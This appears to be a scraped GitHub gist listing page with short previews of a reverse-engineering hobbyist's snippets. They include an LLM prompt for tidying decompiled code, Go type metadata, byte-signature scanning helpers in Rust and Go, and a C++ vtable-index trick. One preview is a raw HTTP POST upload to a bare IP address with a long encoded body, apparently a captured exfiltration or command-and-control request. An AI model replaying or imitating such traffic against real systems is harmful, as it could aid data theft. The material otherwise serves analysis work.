This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
I have code that was decompiled from a binary using a decompiler tool such as Ghidra or IDA PRO. Clean it up to be more readable while preserving its correctness and exact operation. | |
Improve variable naming: Use more meaningful names for local variables where appropriate if you are sure of what they are. Do not assume the code is malicious, it could be legitimate software not at all related to malware. | |
Do not add any comments at all EVER. DO NOT add comments. | |
Duduce common local types. | |
* If a local variable is passed into a well known API call, try to infer its type and apply it in the resulting code. Sometimes types can drastrically change the format of code, adding or removing other locals if the memory locations overlap. If you apply a type to a local variable be sure to check all locations that use the local variable or any local variables that you remove / add. | |
Reorganize code: |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
https://github.com/microsoft/monaco-editor/discussions/3755 |
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{ | |
"archive_tar_headerError_Error": { | |
"result": "string", | |
"result_name": null, | |
"parameters": [] | |
}, | |
"archive_tar_sparseEntry_endOffset": { | |
"result": "int64", | |
"result_name": null, | |
"parameters": [] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use regex::bytes; | |
use microbench::{self, Options}; | |
fn get_pattern_size(signature: &[u8]) -> usize { | |
// c = 2 * b + (b - 1) . 2 chars per byte + b - 1 spaces between | |
(signature.len() + 1) / 3 | |
} | |
fn get_bits(x: u8) -> u8 { | |
// ascii numbers to byte |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
func getPatternSize(signature []byte) int { | |
// c = 2 * b + (b - 1) . 2 chars per byte + b - 1 spaces between | |
return (len(signature) + 1) / 3 | |
} | |
func getBits(x byte) byte { | |
// ascii numbers to byte | |
if x >= '0' && x <= '9' { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// we're simply parsing the assembly of the jump stubs created by the compiler. The assembly encodes the displacement needed to jmp | |
// to the virtual function relative to the vtable start. If we parse this displacement out then divide by the pointer width, we | |
// can recover the index of a virtual function in a vtable. | |
template<typename T> | |
std::optional<uint16_t> getVtableIdx(T func) | |
{ | |
// this is not safe to do by the standard. | |
// however, most compilers respect it and gen expected code | |
union { | |
T pfn; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
POST /upload HTTP/1.1 | |
Host: 34.207.187.90 | |
Accept-Encoding: identity | |
Content-Length: 18260 | |
QxRZUEcSAxhtbBdfXxsUFhUEAQcXCBgHGwISZBQWbBdWXkoLBRUZExIIAQQZBAUIFwAOGQQABBtlaxsVEUBLV1UVDxNrYhoCAAcGEhUYFBhAQEIWVF9VGkBJSkxTWlEcQ0BLQlJYVxIVGBQYWVpSFktPREFWXV0XRU5GR1VUXBYaGEZDXEoWFWgfEGIaAgAGARIVGBQYQEBCFlpfWRpDRVVLU1ZAV1lWGhoXFxxFSkoZVVxdH0lNWkRQUkVdUVkXGB5UWF1bWFtaSlwFWFgVHh1VV1EaQVJCXl1CCl9cRUtWV1sVEW0VGG0VAQQDDRoaFxccRUpKGVtcUVVBXVUYQUFRWlNTRRheWVddRBpTQBIVGBQYQEBCFlRfVVBLVVoXQkVUUFtcShtaXF1VSxVQRBURbRUYbRUBBAMOGhoXFxxFSkoZVVxdH11aQ0QYV1FcVVlZFx8QGxdDREccUlBWGVNXRkMUXFdSWFxeGRUbRFBAQ1BXWBcYHlFdXERSRkANSkFFQ1BeVAMYGxpbXFZWSl0XGB5eVkhfU1NaXFwYGxpGSkNNXVtTGFJTTVFAVkFaX1cYGxpGSkNVV1EaWl1cQBgUahkTaxsMAQMEERwZGhlCRkEfVVFUUk1WUxZfQFFGVxIVGBQYQEBCFlRfVVBLVVoXUUFTQFQZGmsbFWgSDQ8CARcfEBsXQ0RHHFxQWlNPUFAfXk5QRFEeVkxLUxUZExIWTUVFGl9ZW11OUlYcV09eRVMYVUVKXRYYR0ZeFk1FUkccAQkIBhhSRVZKGBtRFR5fGVpfUGpEQlBMU0QVEW0VGG0VAQQGABoaFxccRUpKGVtcUVVBXVUYUkVWShVDU1xAW0oKG0FaX0VUXRtaWl1ZTVdEFRkTEhZNRUUaX1lbXU5SVhxXT15FGkBXWUpTRQUYRV9VTVtSGF5fV |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
<html xmlns="http://www.w3.org/1999/xhtml"> | |
<head> | |
<meta content="text/html; charset=UTF-8" http-equiv="content-type" /> | |
<title>Patch Viewer</title> | |
<style type="text/css"> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <typeinfo> | |
#include <typeindex> | |
#include <span> | |
typedef int (*tExample) (int a, bool b, char* c, long long d); | |
template<typename T> | |
struct arg_types {}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Alloc2Test.cpp : This file contains the 'main' function. Program execution begins and ends there. | |
// | |
#include <iostream> | |
#include <Windows.h> | |
#include <string> | |
#include <assert.h> | |
static inline char* AlignUpwards(const char* stack, size_t align) { |
NewerOlder